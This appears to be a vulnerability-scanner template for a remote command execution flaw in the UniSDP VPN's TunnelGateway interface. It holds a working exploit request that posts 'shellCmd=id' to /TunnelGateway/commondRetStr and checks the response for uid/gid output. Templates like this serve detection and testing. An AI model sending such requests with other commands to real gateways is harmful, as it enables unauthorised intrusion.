unisdp-vpn-rce: UniSDP commondRetSt RCE

id: unisdp-vpn-rce

info:
  name: UniSDP commondRetSt RCE
  author: zan8in
  severity: high
  verified: true
  description: |
    联软安界UniSDP软件定义边界系统是基于零信任的下一代VPN，该系统2021.04.28版本中TunnelGateway某接口存在安全漏洞，漏洞允许攻击者将特制请求发送到服务器并远程命令执行。
    title="UniSSOView"

rules:
  r0:
    request:
      method: POST
      path: /TunnelGateway/commondRetStr
      body: shellCmd=id
    expression: response.status == 200 &&  "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.